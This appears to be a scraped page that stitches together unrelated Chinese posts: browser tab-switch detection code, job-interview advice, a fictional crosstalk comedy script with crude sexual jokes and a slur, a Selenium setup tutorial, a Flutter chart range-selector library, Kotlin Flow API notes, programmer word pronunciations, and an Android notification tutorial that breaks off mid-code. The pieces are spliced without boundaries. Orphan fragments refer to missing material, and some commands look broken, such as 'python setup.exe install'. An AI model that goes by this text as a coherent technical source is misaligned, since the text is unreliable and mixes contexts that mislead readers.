完成的第一版简易监听浏览器切屏功能。
就是在自测过程我们就能发现这方法也不能监听所有的浏览器切屏事件啊,就像下面两种情况
ALT+TAB
键切换不同的应用时并不会触发上面的方法;这一版的实现就是我目前项目中使用的方案,当元素得到焦点和失去焦点都会触发 focus
和 blur
事件,那么可不可以直接给 window
加上这两个事件的监听器呢?话不多说,直接开始试试吧。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
</head>
<script>
let pageSwitchRecord = [];
let ul = document.createElement('ul');
const leave = () => {
document.title = '用户切屏啦';
let record = {
time: new Date().getTime(),
type: 'leave'
};
// 这里可以根据自己项目的需求进行自定义操作,例如上报后台、提示用户等等
let li = document.createElement('li');
li.className = 'leave';
li.innerText = `用户在${record.time}切走了`;
ul.appendChild(li);
pageSwitchRecord.push(record);
document.body.appendChild(ul);
};
const enter = () => {
document.title = '用户回来啦';
let record = {
time: new Date().getTime(),
type: 'enter'
};
// 这里可以根据自己项目的需求进行自定义操作
let li = document.createElement('li');
li.className = 'enter';
li.innerText = `用户在${record.time}回来了,耗时${
record.time - pageSwitchRecord[pageSwitchRecord.length - 1].time
}ms`;
ul.appendChild(li);
pageSwitchRecord.push(record);
document.body.appendChild(ul);
};
window.addEventListener('blur', leave);
window.addEventListener('focus', enter);
</script>
<body></body>
</html>
上面就是第二版实现需求的完整代码,可以看到处理用户切屏的逻辑都是一样的,区别在于监听浏览器切屏的方法,第二种采用的是监听 blur
和 focus
这两个事件去相互配合实现的。
补充
第二种相较于第一种实现方式有更加灵敏的监听,但是有可能在部分使用场景下会误触,为了保持准确性可以第一种和第二种方案配合使用
使用 visibilitychange 时,为了保证兼容性,请使用 document.addEventListener 来注册回调,
今年的金三银四虽较之往年有些暗淡,但是也不乏一些小伙伴迎难而上,寻求新机遇,尝试跳槽,并得到几家意向公司的面试机会。机会难得,面试时更要好好把握。
从公司的角度来说,总会有一些不会明确表达的“潜规则”,因此,提前知道有助于我们通过面试。
简历筛选,关键词很重要
HR是用关键词做简历筛选的,如果你的简历含有这些词,就更加容易被搜索到,得到更多曝光机会。
比如运营岗,有些公司直接叫做运营,还有些公司叫做“企划”“策划”“督导”等等,不管你的职位在公司内部被怎么定义,简历里,你最好使用通用名称,并且在工作描述时,多使用相关描述的词。
销售岗是一般公司招聘最多的职位,有经验的HR不仅仅使用“销售”这个词搜索简历,还会使用“销售专员”、“销售助理”、“销售主管”、“营销经理”、“销售顾问”等词扩大搜索范围。
而在简历描述中,包含“有销售经验”、“有强烈赚钱欲望”、“乐观外向学习力强”等符合职位要求的词语,更容易通过筛选。
大部分人的简历,要么过于简单,要么长篇大论、没有重点的,非常关注的信息一定要在简历中写清楚,比如双休、五险一金、不接受晚班、薪资要求范围等,最好直接在简历中写明白,避免接到许多不合适公司的电话。尤其是个人居住小区最好也在简历中标注出来,写在能接受的工作范围内,因为某些区域的范围是很大的,如果直接写能接受的范围,可能出现以下状况:距离太远,或者虽然不远却需要转车,这就浪费了双方的时间,还有可能使你错过附近的好公司。
而HR一般都会看一下求职者的距离,尽量邀请通勤时间在一定时间内的求职者,同样的条件下优先选择住在附近的,因此,明确的居住地址有利于双方节省时间。
综合以上,HR还倾向于重点关注自己筛选出来的简历,而不是投递的简历,正像一个道理说的那样:“你若盛开,清风自来”,用你的优秀简历吸引HR,比主动投递简历更有效果。
电话沟通“三要三不要”
当简历通过筛选以后,你将会接到大致符合你要求的公司电话,如何沟通更有效?
三要
首先要了解对方公司招聘的岗位,避免一些不负责任的HR给你推荐不合适的工作。比如你想求职设计经理,对方却给你推荐项目经理,因为岗位内容有一部分交叉,对方就以为你会感兴趣,而你一通介绍之后,才发现双方根本不合适,既浪费时间又非常尴尬。
了解到是你感兴趣的岗位以后,你要再次确认一下这个岗位的要求,避免白跑一趟。你可以说“相信贵公司已经看过我的简历了,我真的符合贵公司的要求吗?比如性别年龄学历这些”,有些岗位是有性别要求的,比如一般人认为行政都要女性,有些公司却只招男性,因为业务原因,偶尔需要行政干一些体力活,如果招女孩子就不合适了。而某些求职者的名字看不出性别。
最后要简单的介绍一下自己及过往工作经历,重点表达你与这个岗位匹配的地方,你的优势,以及你对这个岗位感兴趣,如:有过相应的管理经验,你是一个熟悉财务知识的销售。表达你的兴趣,是释放“有机会进一步发展”的电波,让对方“吃下定心丸”,从而进一步得到面试邀请。
三不要
电话沟通时,最好不要问详细的薪资数目,因为很多岗位是根据面试者的能力面议薪资的,问也只能得到一个范围的回答,而对方看过你的薪资要求后,还联系你,就说明薪资范围是符合你的要求的,多此一问反而显得你太看重钱,虽说找工作就是为了钱,但是说出来就拉低你的层次了。
也不要问特别详细的工作内容,不一定非得一听就会,到了公司边看边做不是什么难事,电话里抠细节会让人觉得你能力一般,没自信。
最后一个要避免问的,就是公司一年能做多少业务、赚多少钱,我真的遇到过问这种问题的憨憨,我只能说“不好意思,这是公司机密,我不方便告诉你”。
以上三个问题,不是不该问,而是不要在电话里问,要么得不到明确的回复,要么三言两语说不清楚,到了面试现场环节,再详细沟通即可。
面试时大方得体的表达自己
收到面试邀请后,看一下公司地址,提前规划好路线和出发时间,比预约时间提前5-10分钟到达即可。
到得太早,会给对方留下你过于急切和很想得到这个机会的印象,从而怀疑你的能力。
觉得优秀的人有很多机会的,能力一般的人才会过于重视每一次邀请,这就是人性。
到得太晚,对方又会认为你不重视承诺、没有时间意识。
两者都需要避免。
到达面试现场后,就是正常的面试流程,无需多说。需要注意的是,表现要大方得体,不要紧张,声音不要太低,如果面对以后的同事你都是如此“不专业”,不免让人担心你往后的工作表现,从而不敢把这份工作交给你。
等待结果时积极行动
在等待结果的时候,也并非什么都不能做,可以跟联系的人事提一个简单而无伤大雅的问题,善于沟通在哪里都是加分项,而且会使对方尽快回复你面试结果。
想一想“富兰克林”效应你就明白了,帮助过你的人会再次帮助你,跟你有过联系的人也会倾向于第一个联系你。
掌握以上4个面试“潜规则”,就能帮助你更快找到工作。
作者丨轻舞飞莹
编辑丨职伴君
相声:《我是大文豪》
表演者:郭德纲/于谦
(郭、于上台,众人鼓掌)
郭:谢谢大伙儿
于:哎
郭:大伙儿这么捧,我打心里高兴
于:是啊,支持相声嘛
郭:我内心也是替这门濒临结扎的艺术,感到欣慰
于:您先等会吧
郭:怎么了?
于:什么叫濒临结扎啊
郭:那不经常有个词儿嘛,形容你们这个艺术正在风雨飘摇
于:那叫濒临失传!
郭:那不一样嘛!
于:不一样!我们这个不上环儿!
郭:什么意思!
于:还什么意思呢!再说了,我们相声有什么濒临失传的,这兴旺着呢!
郭:相比而言嘛,相比我从事的行业,相声太弱了
于:您是什么职业啊?
郭:我的职业是一名文豪
于:没听说过!人都是自称是作家,哪有自称是文豪的
郭:没有吗?
于:您见哪个洗头房的小姐自称职业是花魁的?
郭:那上次那女的这么说合着是骗我!
于:那也是您总去!
郭:算了不提这个了
于:是您也得敢提啊
郭:反正我作为一名文豪,著作等身
于:您写过什么作品?
郭:我爸爸是北京一老作家....
于:我是问您写过什么作品,您扯您爸爸干什么啊
郭:我爸爸那书写的哦,那个好,你不知道,这边看我爸爸的书,那边你媳妇跟人睡觉,你都不着急拦!
于:您有病吧?我问的是您,不是您爸爸
郭:没有天哪有地,没有我爸爸哪有我?没有我哪有你?
于:没有您也有我!
郭:哦那就没有我儿子哪有你?!
于:得,这辈儿下的更快了,那您就说您爸爸
郭:还是的嘛,人活一世最重要的就是孝顺,我不提我爸爸我还是人么!
于:反正瞧您这做派倒不老像人的
郭:你这就是嫉妒!你嫉妒我的书香门第!我爸爸本来是通县一掏大粪的啊...
于:这还书香门第啊!
郭:你听我讲啊!本来是掏大粪的,后来改了
于:改卖农家肥了?
郭:你是人不是?我告诉你我今天手上没带着枪,要不我一刀捅死你!
于:得,您继续说
郭:我爸爸在经历了文革的动乱以后,站出来写了一篇发人深省的小说,一举成名!
于:哦?那听着倒是挺厉害,怎么写的?
郭:就写啊,我爸爸本来品学兼优,就是被四人帮暗害了,导致没考上大学,才小学二年级就被政治迫害辍学了
于:那就跟四人帮一点儿关系没有!就是你爸爸自己不念了!
郭:你还有没有点人性?本来我爸是个清华大学的苗子,被时代耽误了!这是一场浩劫下的惨剧啊!
于:您不要脸这劲儿倒是随您爸爸
郭:你什么意思?你的意思是四人帮是好人,你要替他们翻案是不是?!
于:您甭扣帽子,我不觉得他们是好人,但您爸爸这事儿完全挨不上!
郭:反正我爸爸这篇小说一发表,哎呀整个文坛轰动啊,专家们都说,这是当代文学的代表佳作啊!
于:嗯,专家也是没见过什么好东西
郭:这篇小说算是我爸爸的自传,也奠定了我爸爸的文坛地位
于:说这么热闹,这自传小说叫什么名啊?
郭:《废物》
于:嗯,您爸爸这点上倒是挺实惠
郭:这篇《废物》一出,马上在世界文学界都得到了很大的声望,还得了国际大奖呢!
于:什么国际大奖啊?
郭:梵蒂冈佛学研究会文学进步一等奖!
于:都梵蒂冈了还佛学研究会!这奖水的也够模样了
郭:从此我爸爸就是文坛名人了,陆续出版了很多好书
于:都有什么啊?
郭:讲邻居家搞破鞋的,讲亲戚媳妇儿跟人偷情的,讲农村妇女找姘子的....
于:这不都是一回事吗?!这还用拆成好几本书讲啊!
郭:你懂什么?不同的地区这个婚外恋的状态是不一样的,床上都怎么称呼,私下里遇到本家儿了挨打怎么跑,这你都懂吗?
于:不懂,但这么一看您爸爸对这事儿研究够深的
郭:那是,我爸爸为此去各地采风,也因此成为了伤痕文学的代表人物
于:这跟伤痕文学有什么关系?
郭:一身是伤啊,肩膀上、腿上、脸上,那上次还有个农村老爷们拿个铁锹在他脑袋上拍出个疤呢,跟我父亲说,小贼,再让我看见你跟我媳妇儿不清不楚,爷爷我一铁锹拍死你!
于:哦这么个伤痕啊!那就是搞破鞋让人本家儿打了!
郭:之后我父亲又成为了我们当地的破协..哦不,作协主席
于:得,险些把实话说出来了
郭:你就说吧,我爸爸这个资历,我凭什么不是文豪?
于:这是您爸爸的成就,跟您在文学领域怎么着也没关系啊
郭:我爸爸给我提供了无数写作的素材啊!
于:什么素材?
郭:我迄今为止吧,出版了七本书,怎么样,厉害吧?
于:那倒是不少。都什么书啊?
郭:《我与我父亲》、《父亲下乡》、《父亲回城》、《父亲结婚》、《父亲生活秘史》、《父亲的爱情》、《我的父亲的老丈人》
于:你等会吧!
郭:怎么了?
于:《我的父亲的老丈人》....那你就说是写你姥爷不就得了!费这么大事!
郭:你懂个屁!我说我姥爷谁知道是谁啊?书卖不出去啊!
于:那倒是,您这一辈子就靠您父亲这点儿光环活着呢!
郭:你这就是丧良心,我写这么多书,算上里面的拼音,起码也得有五十万字了,您写的出来?!
于:得,连字儿都写不全,还得用拼音
郭:你这就是嫉妒,你嫉妒没我这么一个好爸爸!
于:您别在这抄便宜啊!是我爸爸没有您爸爸这么好,还是没有您这样的一个好爸爸?
郭:这不是一回事嘛?!
于:差远了!
郭:嗨咱俩计较这些微不足道的事儿干嘛
于:那是,你占便宜当然大度了
郭:我爸爸对我们家真是尽心尽力,呕心沥血,尤其对我,简直是再生父母一样的好啊!
于:您这用词,听着好像您不是亲儿子似的
郭:你别在这起腻啊!不光是我,我媳妇儿都得到我爸爸不少帮助
于:您媳妇也是作家吗?
郭:不是,我媳妇主要是表演舞蹈
于:哦,跳芭蕾的?
郭:不是
于:那是跳拉丁的?
郭:也不是
于:那是民族?
郭:这都什么啊,跟我媳妇儿比不了
于:那您媳妇儿是?
郭:我媳妇吧,以前是在北京一个会所演出
于:然后呢?
郭:后来会所涉黄被关了,就嫁给我了
于:哦合着是跳脱衣舞的啊!
郭:说那么难听!
于:那不就是吗?那您好好意思说您媳妇主要是表演舞蹈!
郭:是啊,只不过不是同一个表
于:是婊子演舞蹈的意思是吗?
郭:我抽你!我媳妇都上我们这的作协晚会了!
于:那甭说,又是您爸爸的功劳
郭:那当然
于:那您媳妇儿这三俗的舞蹈,对社会风气影响也不好啊
郭:那有什么的?我爸爸给在场观众每人发一块白布
于:这干什么用的?
郭:把眼睛蒙上
于:哦,就算是把观众眼睛蒙上也必须让儿媳妇过名人瘾是么?
郭:那当然,我爸爸说了一句至理名言,我听着感动的都不行了
于:怎么说的?
郭:许你们恶心,不许我家里人上不去!
于:去你的吧!
(全文完。本文纯属虚构)
今天带来的是python+selenium自动化测试的入门向教程,也是做个小总结。
下面就是喜闻乐见的操作步骤讲解环节了(´◔౪◔)
本次的环境准备较为复杂,但是只要跟着方法走,问题应该也不是很多。
另外,软件包我都整理好了,评论区可见。
安装方法如下:
1)解压后,进入扩展包,shift+右键,在此处打开PowerShell窗口,执行命令
2)python setup.exe install
这里说的对应版本,是说浏览器的版本需要与chromedriver相对应
我资源里给到的是81版本的chrom浏览器和chromedriver
环境准备好后,就可以发起网页请求验证了。
代码如下:
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
# 设定目的url
url = "https://www.baidu.com/"
# 创建一个参数对象,用来控制chrome以无界面模式打开
chrome_options = Options()
# chrome_options.add_argument('--headless')
# chrome_options.add_argument('--disable-gpu')
# 跳过https安全认证页面
chrome_options.add_argument('--ignore-certificate-errors')
# 创建自己的一个浏览器对象
driver = webdriver.Chrome(chrome_options=chrome_options)
# 访问网页
driver.get(url)
# 等待防止网络不稳定引起的报错
driver.implicitly_wait(5)
# 浏览器全屏显示
driver.maximize_window()
参考文档:https://python-selenium-zh.readthedocs.io/zh_CN/latest/
代码如下:
1) 根据Id定位,driver.find_element_by_id()
2) 根据 Name 定位,driver.find_element_by_name()
3) XPath定位,driver.find_element_by_xpath()
4) 用链接文本定位超链接,driver.find_element_by_link_text()
5) 标签名定位,driver.find_element_by_tag_name()
6) class定位,driver.find_element_by_class_name()
7) css选择器定位,driver.find_element_by_css_selector()
4、行为链
这里说的操作是指,定位元素后,针对元素进行的鼠标移动,鼠标点击事件,键盘输入,以及内容菜单交互等操作。
参考文档:
https://python-selenium-zh.readthedocs.io/zh_CN/latest/
https://www.cnblogs.com/GouQ/p/13093339.html
代码如下:
1) 鼠标单击事件,find_element_by_id().click()
2) 键盘输入事件,find_element_by_id().send_keys()
3) 文本清空事件,find_element_by_id().clear()
4) 右键点击事件,find_element_by_id().context_click()
5) 鼠标双击事件,find_element_by_id().double_click()
chat相关配置可以在console中找到
3.iOS工程需要一下改动
4.运行appserver 和 ios项目
项目主要实现上面三个接口
下面是安卓的配置(参数配置参数ios)
最近有一个小需求:图表支持局部显示,如下底部的区域选择器支持
这样当图表的数据量过大,不宜全部展示时,可选择的局部展示就是个不错的解决方案。由于一般的图表库没有提供该功能,这里自己通过绘制来实现以下,操作效果如下所示:
目前这个范围选择器已经发布到 pub
上了,名字是 chart_range_selector。大家可以通过依赖进行添加
dependencies:
chart_range_selector: ^1.0.0
这个库本身是作为独立 UI
组件存在的,在拖拽过程中改变区域范围时,会触发回调。使用者可以通过监听来获取当前区域的范围。这里的区域起止是以分率的形式给出的,也就是最左侧是 0
最右侧是 1
。如下的区域范围是 0.26 ~ 0.72
。
ChartRangeSelector(
height: 30,
initStart: 0.4,
initEnd: 0.6,
onChartRangeChange: _onChartRangeChange,
),
void _onChartRangeChange(double start, double end) {
print("start:$start, end:$end");
}
封装的组件名为: ChartRangeSelector
,提供了如下的一些配置参数:
配置项 | 类型 | 简述 |
---|---|---|
initStart | double | 范围启始值 0~1 |
initEnd | double | 范围终止值 0~1 |
height | double | 高度值 |
onChartRangeChange | OnChartRangeChange | 范围变化回调 |
bgStorkColor | Color | 背景线条颜色 |
bgFillColor | Color | 背景填充颜色 |
rangeColor | Color | 区域颜色 |
rangeActiveColor | Color | 区域激活颜色 |
dragBoxColor | Color | 左右拖拽块颜色 |
dragBoxActiveColor | Color | 左右拖拽块激活颜色 |
这个组件整体上是通过 ChartRangeSelectorPainter
绘制出来的,其实这些图形都是挺规整的,绘制来说并不是什么难事。重点在于事件的处理,拖拽不同的部位需要处理不同的逻辑,还涉及对拖拽部位的校验、高亮示意,对这块的整合还是需要一定的功力的。
代码中通过 RangeData
可监听对象为绘制提供必要的数据,其中 minGap
用于控制范围的最小值,保证范围不会过小。另外定义了 OperationType
枚举表示操作,其中有四个元素,none
表示没有拖拽的普通状态;dragHead
表示拖动起始块,dragTail
表示拖动终止块,dragZone
表示拖动范围区域。
enum OperationType{
none,
dragHead,
dragTail,
dragZone
}
class RangeData extends ChangeNotifier {
double start;
double end;
double minGap;
OperationType operationType=OperationType.none;
RangeData({this.start = 0, this.end = 1,this.minGap=0.1});
//暂略相关方法...
}
在组件构建中,通过 LayoutBuilder
获取组件的约束信息,从而获得约束区域宽度最大值,也就是说组件区域的宽度值由使用者自行约束,该组件并不强制指定。使用 SizedBox
限定画板的高度,通过 CustomPaint
组件使用 ChartRangeSelectorPainter
进行绘制。使用 GestureDetector
组件进行手势交互监听,这就是该组件整体上实现的思路。
可以看出,这个组件的核心就是 绘制
+ 手势交互
。其中绘制比较简单,就是根据 RangeData
数据和颜色配置画些方块而已,稍微困难一点的是对左右控制柄位置的计算。另外,三个可拖拽物的激活状态是通过 RangeData#operationType
进行判断的。
也就是说所有问题的焦点都集中在 手势交互
中对 RangeData
数据的更新。如下是处理按下的逻辑,当触电横坐标左右 10
逻辑像素之内,表示激活头部。如下 tag1
处通过 dragHead
方法更新 operationType
并触发通知,这样画板绘制时就会激活头部块,右侧和中间的激活同理。
---->[RangeData#dragHead]----
void dragHead(){
operationType=OperationType.dragHead;
notifyListeners();
}
void _onPanDown(DragDownDetails details, double width) {
double start = width * rangeData.start;
double x = details.localPosition.dx;
double end = width * rangeData.end;
if (x >= start - 10 && x <= end + 10) {
if ((start - details.localPosition.dx).abs() < 10) {
rangeData.dragHead(); // tag1
return;
}
if ((end - details.localPosition.dx).abs() < 10) {
rangeData.dragTail();
return;
}
rangeData.dragZone();
}
}
对于拖手势的处理,是比较复杂的。如下根据 operationType
进行不同的逻辑处理,比如当 dragHead
时,触发 RangeData#moveHead
方法移动 start
值。这里将具体地逻辑封装在 RangeData
类中。可以使代码更加简洁明了,每个操作都有 bool
返回值用于校验区域也没有发生变化,比如拖拽到 0
时,继续拖拽是会触发事件的,此时返回 false
,避免无意义的 onChartRangeChange
回调触发。
void _onUpdate(DragUpdateDetails details, double width) {
bool changed = false;
if (rangeData.operationType == OperationType.dragHead) {
changed = rangeData.moveHead(details.delta.dx / width);
}
if (rangeData.operationType == OperationType.dragTail) {
changed = rangeData.moveTail(details.delta.dx / width);
}
if (rangeData.operationType == OperationType.dragZone) {
changed = rangeData.move(details.delta.dx / width);
}
if (changed) widget.onChartRangeChange.call(rangeData.start, rangeData.end);
}
如下是 RangeData#moveHead
的处理逻辑,_recordStart
用于记录起始值,如果移动后未改变,返回 false
。表示不执行通知和触发回调。
---->[RangeData#moveHead]----
bool moveHead(double ds) {
start += ds;
start = start.clamp(0, end - minGap);
if (start == _recordStart) return false;
_recordStart = start;
notifyListeners();
return true;
}
下面是结合 charts_flutter
图标库实现的范围显示案例。其中核心点是 domainAxis
可以通过 NumericAxisSpec
来显示某个范围的数据,而 ChartRangeSelector
提供拽的交互操作来更新这个范围,可谓相辅相成。
class RangeChartDemo extends StatefulWidget {
const RangeChartDemo({Key? key}) : super(key: key);
@override
State<RangeChartDemo> createState() => _RangeChartDemoState();
}
class _RangeChartDemoState extends State<RangeChartDemo> {
List<ChartData> data = [];
int start = 0;
int end = 0;
@override
void initState() {
super.initState();
data = randomDayData(count: 96);
start = 0;
end = (0.8 * data.length).toInt();
}
Random random = Random();
List<ChartData> randomDayData({int count = 1440}) {
return List.generate(count, (index) {
int value = 50 + random.nextInt(200);
return ChartData(index, value);
});
}
@override
Widget build(BuildContext context) {
List<charts.Series<ChartData, int>> seriesList = [
charts.Series<ChartData, int>(
id: 'something',
colorFn: (_, __) => charts.MaterialPalette.blue.shadeDefault,
domainFn: (ChartData sales, _) => sales.index,
measureFn: (ChartData sales, _) => sales.value,
data: data,
)
];
return Column(
children: [
Expanded(
child: charts.LineChart(seriesList,
animate: false,
primaryMeasureAxis: const charts.NumericAxisSpec(
tickProviderSpec: charts.BasicNumericTickProviderSpec(desiredTickCount: 5),),
domainAxis: charts.NumericAxisSpec(
viewport: charts.NumericExtents(start, end),
)),
),
const SizedBox(
height: 10,
),
SizedBox(
width: 400,
child: ChartRangeSelector(
height: 30,
initEnd: 0.5,
initStart: 0.3,
onChartRangeChange: (start, end) {
this.start = (start * data.length).toInt();
this.end = (end * data.length).toInt();
setState(() {});
}),
),
],
);
}
}
class ChartData {
final int index;
final int value;
ChartData(this.index, this.value);
}
本文就介绍到这里,更多的实现细节感兴趣的可以研究一下源码。谢谢观看 ~
collect
通知flow执行public suspend inline fun <T> Flow<T>.collect(crossinline action: suspend (value: T) -> Unit): Unit =
collect(object : FlowCollector<T> {
override suspend fun emit(value: T) = action(value)
})
flow
是冷流,只有调用collect{}
方法时才能触发flow代码块的执行
。还有一点要注意,collect{}
方法是个suspend
声明的方法,需要在协程作用域的范围能调用。
除此之外,collect{}
方法的参数是一个被crossinline
修饰的函数类型,旨在加强内联,禁止在该函数类型中直接使用return
关键字(return@标签除外
)。
fun main() {
GlobalScope.launch {
flow {
emit("haha")
}.collect {
}
}
}
launchIn()
指定协程作用域通知flow执行public fun <T> Flow<T>.launchIn(scope: CoroutineScope): Job = scope.launch {
collect() // tail-call
}
这个方法允许我们直接传入一个协程作用域的参数,不需要直接在外部开启一个协程执行
。本质上就是使用我们传入的协程作用域手动开启一个协程代码块调用collect{}
通知协程执行。
这里看官方的源码有个tail-call
的注释,也就是尾调用的意思,猜测这里可能官方会在这里进行了优化,减少了栈中方法调用的层级,降低栈溢出的风险。
fun main() {
flow {
emit("haha")
}.launchIn(GlobalScope)
}
catch{}
捕捉异常public fun <T> Flow<T>.catch(action: suspend FlowCollector<T>.(cause: Throwable) -> Unit): Flow<T> =
flow {
val exception = catchImpl(this)
if (exception != null) action(exception)
}
这个就是用来捕捉异常的,不过注意,只能捕捉catch()
之前的异常,下面来个图阐述下:
即,只能捕捉第一个红框中的异常,而不能捕捉第二个红框中的异常。
merge()
合流public fun <T> merge(vararg flows: Flow<T>): Flow<T> = flows.asIterable().merge()
最终的实现类如下:
请注意,这个合流的每个流可以理解为是并行执行
的,而不是后一个流等待前一个流中的flow代码块中的逻辑执行完毕再执行,这样做的目的可以提供合流的每个流的执行效果。
测试代码如下:
fun main() {
GlobalScope.launch {
merge(flow {
delay(1000)
emit(4)
}, flow {
println("flow2")
delay(2000)
emit(20)
}).collect {
println("collect value: $it")
}
}
}
输出日志如下:
、
map{}
变换发送的数据类型public inline fun <T, R> Flow<T>.map(crossinline transform: suspend (value: T) -> R): Flow<R> = transform { value ->
return@transform emit(transform(value))
}
这个api没什么可将的,很多的地方比如集合、livedata中都有它的影子,它的作用就是将当前数据类型变换成另一种数据类型(可以相同)。
fun main() {
GlobalScope.launch {
flow {
emit(5)
}.map {
"ha".repeat(it)
}.collect {
println("collect value: $it")
}
}
}
本篇文章介绍了flow常见的api,接下来还会有一些列文章用来介绍flow的其他api,感谢阅读。
最近在跟同事讨论问题的时候,他突然对我说。。。
这个死太丢死不太对,需要改一下。。。
我当时应该是愣住了,然后想了一下,你说的是 status 吗???
看着他疑惑不解的眼神,我当时的表情。。。
好吧,好吧,我承认我低估了我们理科同志们的文科英语水平,以至于我发现,我这些年不也是这样水深火热的过来的嘛。
于是,带着好奇、疑惑和忐忑的心情,我重新 Google、百度了一遍那些我觉得不太确认的单词到底怎么读,结果简直颠覆了我的三观。。。
我不想直接贴个列表给大家看,我要带你们一个一个,一个两个,一个三个的仔细看看他喵的怎么读的。。。
这玩意儿你以为我嘲讽了同事吗?
不是,我是嘲讽了自己的无知。
他娘的,他不读死太丢死,也不读死特丢死。
他读,【ˈstæɾəs】或者是【ˈsteɪtəs】 ,不会读,但是我相信大家音标还是看的明白的。
这里就请原谅我无法用文字来读出声音给大家。
OK,请看下一题,我想这个读音大家好像约定俗称了一样,就是卖色扣。
其实,我觉得他跟app这玩意儿一样啊,有些人非要读啊扑也无所谓,我就一个个单词读A,P,P你咬我呢。
Mysql性质也差不多,你读卖S Q L我觉得也没毛病。
但,官方的意思和APP这玩意儿一样,希望大家读的是My Sequel。
这个我估摸着也是重灾区,因为我一直读了好多年的力扭克思,这一条中了的请扣一波1111111。
实际上,别人真不这么读,我还是被一个刚读大一的朋友纠正的。。
正确读音:【'lɪnəks】,力呢渴死。
好了,这个读音我相信你的同事之中可能就没几个读对的。。。
因太哥儿、因特哥儿。。。
正确读音:【'ɪntɪdʒə】,因题绝儿。
我非常相信,你现在知道了怎么读,明天又会回到原来的样子,因为就在刚才我又自己读成了因特绝儿。。。
好了,好了,剩下的我就不一一再说了,我直接列几个吧,我觉得很多人估计得疯了,和我一样!
height:这玩意儿hi特,别读黑特,这个错的人不多,讲道理。
width:这个有点离谱了,大家应该都读歪思,好嘛,人家读【wɪtθ】,和with差不多,我直到今天才知道我错了。
margin:这个但凡接触过前端的都懂啊,马哥因对吧,好点的会连读,但是也错了,读【'mɑːdʒɪn】,马军。。。
maven:别读马文了,读meɪvn,读美文。
Deque:你以为和队列 queue 一样,读地Q吗,人家读【'dek】德克。
facade:这个真的因为可能看起来太奇怪了,所以好像没什么人读错,【fə'sɑːd】门面装配。
safari:这个读音真的很奇怪啊,中国人普遍读萨佛来,其实应该读【sə'fɑːrɪ】,别说了,就是拗口,我大概是改不过来了。。。
... ...
好了,好了,就这样吧,其实我觉得除了读死太丢死真的就泥马离谱之外,其他的我我觉得都问题不大!
别说那些了,就说最简单的,Java你读对了吗?
作者:艾小仙
来源:juejin.cn/post/7134344758268264478
在Android应用的开发中,必然会遇上通知的开发需求,本文主要讲一下Android中的通知 Notification的简单基本使用,主要包含创建通知渠道、初始化通知、显示通知、显示图片通知、通知点击、以及配合WorkManager发送延迟通知。
首先,创建几个常量和变量,其中渠道名是会显示在手机设置-通知里app对应展示的通知渠道名称,一般基于通知作用取名。
companion object {
//渠道Id
private const val CHANNEL_ID = "渠道Id"
//渠道名
private const val CHANNEL_NAME = "渠道名-简单通知"
//渠道重要级
private const val CHANNEL_IMPORTANCE = NotificationManager.IMPORTANCE_DEFAULT
}
private lateinit var context: Context
//Notification的ID
private var notifyId = 100
private lateinit var manager: NotificationManager
private lateinit var builder: NotificationCompat.Builder
然后获取系统通知服务,创建通知渠道,其中因为通知渠道是Android8.0才有的,所以增加一个版本判断:
//获取系统通知服务
manager = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
//创建通知渠道,Android8.0及以上需要
createChannel()
private fun createChannel() {
//创建通知渠道,Android8.0及以上需要
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) {
return
}
val notificationChannel = NotificationChannel(
CHANNEL_ID,
CHANNEL_NAME,
CHANNEL_IMPORTANCE
)
manager.createNotificationChannel(notificationChannel)
}
先生成NotificationCompat.Builder,然后初始化通知Builder的通用配置:
builder = NotificationCompat.Builder(context.applicationContext, CHANNEL_ID)
initNotificationBuilder()
/**
* 初始化通知Builder的通用配置
*/
private fun initNotificationBuilder() {
builder
.setAutoCancel(true) //设置这个标志当用户单击面板就可以让通知自动取消
.setSmallIcon(R.drawable.ic_reminder) //通知的图标
.setWhen(System.currentTimeMillis()) //通知产生的时间,会在通知信息里显示
.setDefaults(Notification.DEFAULT_ALL)
}
此外builder还有setVibrate、setSound、setStyle等方法,按需配置即可。
给builder设置需要通知需要显示的title和content,然后通过builder.build()生成生成通知Notification,manager.notify()方法将通知发送出去。
fun configNotificationAndSend(title: String, content: String){
builder.setContentTitle(title)
.setContentText(content)
val notification = builder.build()
//发送通知
manager.notify(notifyId, notification)
//id自增
notifyId++
}
最简单的通知显示至此上面三步就完成了。
效果如下图:
当通知内容过多一行展示不下时,可以通过设置
builder.setStyle(NotificationCompat.BigTextStyle().bigText(content)) //设置可以显示多行文本
这样通知就能收缩和展开,显示多行文本。 另外setStyle还可以设置图片形式的通知:
setStyle(NotificationCompat.BigPictureStyle().bigPicture(BitmapFactory.decodeResource(resources,R.drawable.logo)))//设置图片样式
效果如下图:
目前为止的通知还只是显示,因为设置了builder.setAutoCancel(true),点击通知之后通知会自动消失,除此之外还没有其他操作。 给builder设置setContentIntent(PendingIntent)就能有通知点击之后的其他操作了。PendingIntent可以看作是对Intent的一个封装,但它不是立刻执行某个行为,而是满足某些条件或触发某些事件后才执行指定的行为。PendingIntent获取有三种方式:Activity、Service和BroadcastReceiver获取。通过对应方法PendingIntent.getActivity、PendingIntent.getBroadcast、PendingIntent.getService就能获取。 这里就示例一下PendingIntent.getBroadcast和PendingIntent.getActivity
首先创建一个BroadcastReceiver:
class NotificationHandleReceiver : BroadcastReceiver() {
companion object {
const val NOTIFICATION_HANDLE_ACTION = "notification_handle_action"
const val NOTIFICATION_LINK = "notificationLink"
const val TAG = "NotificationReceiver"
}
override fun onReceive(context: Context, intent: Intent?) {
if (intent?.action == NOTIFICATION_HANDLE_ACTION) {
val link = intent.getStringExtra(NOTIFICATION_LINK)
}
}
}
别忘了在清单文件中还需要静态注册BroadcastReceiver:
<receiver
android:name=".NotificationHandleReceiver"
android:exported="false">
<intent-filter>
<action android:name="notification_handle_action" />
</intent-filter>
</receiver>
然后创建一个上面BroadcastReceiver的Intent,在intent.putExtra传入相应的点击通知之后需要识别的操作:
fun generateDefaultBroadcastPendingIntent(linkParams: (() -> String)?): PendingIntent {
val intent = Intent(NotificationHandleReceiver.NOTIFICATION_HANDLE_ACTION)
intent.setPackage(context.packageName)
linkParams?.let {
val params = it.invoke()
intent.putExtra(NotificationHandleReceiver.NOTIFICATION_LINK, params)
}
return PendingIntent.getBroadcast(
context,
notifyId,
intent,
PendingIntent.FLAG_IMMUTABLE
